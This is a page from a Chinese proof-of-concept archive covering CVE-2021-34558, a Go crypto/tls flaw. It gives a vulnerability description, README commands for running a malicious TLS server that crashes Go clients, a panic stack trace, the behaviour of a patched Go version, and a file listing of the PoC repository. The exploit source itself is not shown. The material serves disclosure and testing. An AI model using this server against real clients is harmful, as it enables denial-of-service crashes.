关联漏洞
标题:
Google Golang 信任管理问题漏洞
(CVE-2021-34558)
描述:Google Golang是美国谷歌(Google)公司的一种静态强类型、编译型语言。Go的语法接近C语言,但对于变量的声明有所不同。Go支持垃圾回收功能。Go的并行模型是以东尼·霍尔的通信顺序进程(CSP)为基础,采取类似模型的其他语言包括Occam和Limbo,但它也具有Pi运算的特征,比如通道传输。在1.8版本中开放插件(Plugin)的支持,这意味着现在能从Go中动态加载部分函数。 Golang through 1.16.5 存在信任管理问题漏洞,该漏洞源于在进行基于 RSA 的密钥交换时,cry
介绍
# POC for CVE-2021-34558
```bash
# Run the malicious TLS server
go run main.go -mode server
# Run a normal `http.Get` client call against the server which panics
go run main.go -mode client
```
There is a minor modification to `./vendor/github.com/refraction-networking/utls/handshake_server.go` to enable the malicious handshake to be sent with a mismatching certificate/cipher.
It looks like this:
$ go run main.go -mode client
panic: interface conversion: interface {} is *ecdsa.PublicKey, not *rsa.PublicKey
goroutine 7 [running]:
crypto/tls.rsaKeyAgreement.generateClientKeyExchange(0xc000001c80, 0xc00014a000, 0xc000130580, 0x0, 0x0, 0x4, 0x6e9da0, 0x7fe73e42e201, 0xc00001c758)
/usr/local/go/src/crypto/tls/key_agreement.go:70 +0x3a6
crypto/tls.(*clientHandshakeState).doFullHandshake(0xc00015fd48, 0xc00001a380, 0x31)
/usr/local/go/src/crypto/tls/handshake_client.go:574 +0x5e9
crypto/tls.(*clientHandshakeState).handshake(0xc00015fd48, 0xc00001c418, 0x4)
/usr/local/go/src/crypto/tls/handshake_client.go:421 +0x566
crypto/tls.(*Conn).clientHandshake(0xc00007f180, 0x0, 0x0)
/usr/local/go/src/crypto/tls/handshake_client.go:220 +0x754
crypto/tls.(*Conn).Handshake(0xc00007f180, 0x0, 0x0)
/usr/local/go/src/crypto/tls/conn.go:1391 +0xc9
net/http.(*persistConn).addTLS.func2(0x0, 0xc00007f180, 0x0, 0xc0000624e0)
/usr/local/go/src/net/http/transport.go:1530 +0x45
created by net/http.(*persistConn).addTLS
/usr/local/go/src/net/http/transport.go:1526 +0x1f6
exit status 2
A patched version of Go (1.16.6+) does not crash:
$ go run main.go -mode client
2021/07/13 06:13:50 <nil> Get "https://127.0.0.1:8443/": tls: server certificate contains incorrect key type for selected ciphersuite
文件快照
[4.0K] /data/pocs/ab98db22efe5eb2f4172a02bfc7113858106d96e
├── [ 272] go.mod
├── [1.3K] go.sum
├── [2.3K] main.go
├── [1.8K] README.md
└── [4.0K] vendor
├── [4.0K] github.com
│ └── [4.0K] refraction-networking
│ └── [4.0K] utls
│ ├── [2.9K] alert.go
│ ├── [6.9K] auth.go
│ ├── [ 16K] cipher_suites.go
│ ├── [ 41K] common.go
│ ├── [ 43K] conn.go
│ ├── [ 968] CONTRIBUTING.md
│ ├── [3.5K] CONTRIBUTORS_GUIDE.md
│ ├── [4.0K] cpu
│ │ ├── [1.5K] cpu_arm64.go
│ │ ├── [ 198] cpu_arm.go
│ │ ├── [2.3K] cpu.go
│ │ ├── [ 198] cpu_mips64.go
│ │ ├── [ 198] cpu_mips64le.go
│ │ ├── [ 198] cpu_mips.go
│ │ ├── [ 198] cpu_mipsle.go
│ │ ├── [1.8K] cpu_ppc64x.go
│ │ ├── [ 235] cpu_riscv64.go
│ │ ├── [ 199] cpu_s390x.go
│ │ ├── [1.4K] cpu_x86.go
│ │ └── [ 689] cpu_x86.s
│ ├── [ 30K] handshake_client.go
│ ├── [ 21K] handshake_client_tls13.go
│ ├── [ 47K] handshake_messages.go
│ ├── [ 22K] handshake_server.go
│ ├── [ 26K] handshake_server_tls13.go
│ ├── [9.9K] key_agreement.go
│ ├── [5.9K] key_schedule.go
│ ├── [1.4K] LICENSE
│ ├── [ 23K] logo.png
│ ├── [2.0K] logo_small.png
│ ├── [ 11K] prf.go
│ ├── [ 13K] README.md
│ ├── [6.1K] ticket.go
│ ├── [9.7K] tls.go
│ ├── [7.6K] u_common.go
│ ├── [ 18K] u_conn.go
│ ├── [ 13K] u_fingerprinter.go
│ ├── [ 28K] u_parrots.go
│ ├── [3.7K] u_prng.go
│ ├── [ 19K] u_public.go
│ ├── [2.7K] u_roller.go
│ └── [ 18K] u_tls_extensions.go
├── [4.0K] golang.org
│ └── [4.0K] x
│ ├── [4.0K] crypto
│ │ ├── [ 174] AUTHORS
│ │ ├── [4.0K] chacha20
│ │ │ ├── [ 479] chacha_arm64.go
│ │ │ ├── [8.0K] chacha_arm64.s
│ │ │ ├── [ 14K] chacha_generic.go
│ │ │ ├── [ 441] chacha_noasm.go
│ │ │ ├── [ 468] chacha_ppc64le.go
│ │ │ ├── [9.1K] chacha_ppc64le.s
│ │ │ ├── [ 761] chacha_s390x.go
│ │ │ ├── [5.4K] chacha_s390x.s
│ │ │ └── [1.2K] xor.go
│ │ ├── [4.0K] chacha20poly1305
│ │ │ ├── [2.4K] chacha20poly1305_amd64.go
│ │ │ ├── [105K] chacha20poly1305_amd64.s
│ │ │ ├── [2.1K] chacha20poly1305_generic.go
│ │ │ ├── [2.6K] chacha20poly1305.go
│ │ │ ├── [ 562] chacha20poly1305_noasm.go
│ │ │ └── [2.5K] xchacha20poly1305.go
│ │ ├── [ 171] CONTRIBUTORS
│ │ ├── [4.0K] cryptobyte
│ │ │ ├── [4.0K] asn1
│ │ │ │ └── [1.6K] asn1.go
│ │ │ ├── [ 21K] asn1.go
│ │ │ ├── [9.4K] builder.go
│ │ │ └── [4.4K] string.go
│ │ ├── [4.0K] curve25519
│ │ │ ├── [4.0K] curve25519.go
│ │ │ └── [4.0K] internal
│ │ │ └── [4.0K] field
│ │ │ ├── [ 397] fe_amd64.go
│ │ │ ├── [ 354] fe_amd64_noasm.go
│ │ │ ├── [5.7K] fe_amd64.s
│ │ │ ├── [ 365] fe_arm64.go
│ │ │ ├── [ 325] fe_arm64_noasm.go
│ │ │ ├── [1.1K] fe_arm64.s
│ │ │ ├── [8.4K] fe_generic.go
│ │ │ ├── [ 12K] fe.go
│ │ │ ├── [ 370] README
│ │ │ ├── [ 41] sync.checkpoint
│ │ │ └── [ 611] sync.sh
│ │ ├── [4.0K] hkdf
│ │ │ └── [2.7K] hkdf.go
│ │ ├── [4.0K] internal
│ │ │ └── [4.0K] subtle
│ │ │ ├── [1.2K] aliasing.go
│ │ │ └── [1.4K] aliasing_purego.go
│ │ ├── [1.4K] LICENSE
│ │ ├── [1.3K] PATENTS
│ │ ├── [4.0K] poly1305
│ │ │ ├── [ 956] bits_compat.go
│ │ │ ├── [ 501] bits_go1.13.go
│ │ │ ├── [ 312] mac_noasm.go
│ │ │ ├── [3.3K] poly1305.go
│ │ │ ├── [1.1K] sum_amd64.go
│ │ │ ├── [2.5K] sum_amd64.s
│ │ │ ├── [9.5K] sum_generic.go
│ │ │ ├── [1.1K] sum_ppc64le.go
│ │ │ ├── [3.3K] sum_ppc64le.s
│ │ │ ├── [2.0K] sum_s390x.go
│ │ │ └── [ 17K] sum_s390x.s
│ │ └── [4.0K] sha3
│ │ ├── [3.1K] doc.go
│ │ ├── [ 841] hashes_generic.go
│ │ ├── [2.7K] hashes.go
│ │ ├── [ 336] keccakf_amd64.go
│ │ ├── [ 14K] keccakf_amd64.s
│ │ ├── [9.8K] keccakf.go
│ │ ├── [ 430] register.go
│ │ ├── [5.7K] sha3.go
│ │ ├── [6.8K] sha3_s390x.go
│ │ ├── [ 978] sha3_s390x.s
│ │ ├── [ 553] shake_generic.go
│ │ ├── [5.3K] shake.go
│ │ ├── [ 679] xor_generic.go
│ │ ├── [ 617] xor.go
│ │ └── [1.4K] xor_unaligned.go
│ └── [4.0K] sys
│ ├── [ 173] AUTHORS
│ ├── [ 170] CONTRIBUTORS
│ ├── [4.0K] cpu
│ │ ├── [ 420] asm_aix_ppc64.s
│ │ ├── [1.8K] byteorder.go
│ │ ├── [ 619] cpu_aix.go
│ │ ├── [3.5K] cpu_arm64.go
│ │ ├── [ 771] cpu_arm64.s
│ │ ├── [2.1K] cpu_arm.go
│ │ ├── [ 269] cpu_gc_arm64.go
│ │ ├── [ 315] cpu_gccgo_arm64.go
│ │ ├── [1.0K] cpu_gccgo_s390x.go
│ │ ├── [1.2K] cpu_gccgo_x86.c
│ │ ├── [ 840] cpu_gccgo_x86.go
│ │ ├── [ 687] cpu_gc_s390x.go
│ │ ├── [ 681] cpu_gc_x86.go
│ │ ├── [ 12K] cpu.go
│ │ ├── [2.1K] cpu_linux_arm64.go
│ │ ├── [1.4K] cpu_linux_arm.go
│ │ ├── [ 361] cpu_linux.go
│ │ ├── [ 522] cpu_linux_mips64x.go
│ │ ├── [ 351] cpu_linux_noinit.go
│ │ ├── [ 815] cpu_linux_ppc64x.go
│ │ ├── [ 890] cpu_linux_s390x.go
│ │ ├── [ 346] cpu_mips64x.go
│ │ ├── [ 270] cpu_mipsx.go
│ │ ├── [4.3K] cpu_netbsd_arm64.go
│ │ ├── [ 260] cpu_other_arm64.go
│ │ ├── [ 239] cpu_other_arm.go
│ │ ├── [ 299] cpu_other_mips64x.go
│ │ ├── [ 384] cpu_ppc64x.go
│ │ ├── [ 259] cpu_riscv64.go
│ │ ├── [4.9K] cpu_s390x.go
│ │ ├── [2.0K] cpu_s390x.s
│ │ ├── [ 454] cpu_wasm.go
│ │ ├── [4.6K] cpu_x86.go
│ │ ├── [1.5K] cpu_x86.s
│ │ ├── [ 223] cpu_zos.go
│ │ ├── [ 643] cpu_zos_s390x.go
│ │ ├── [1.2K] hwcap_linux.go
│ │ ├── [ 745] syscall_aix_gccgo.go
│ │ └── [1011] syscall_aix_ppc64_gc.go
│ ├── [1.4K] LICENSE
│ └── [1.3K] PATENTS
└── [ 648] modules.txt
22 directories, 153 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。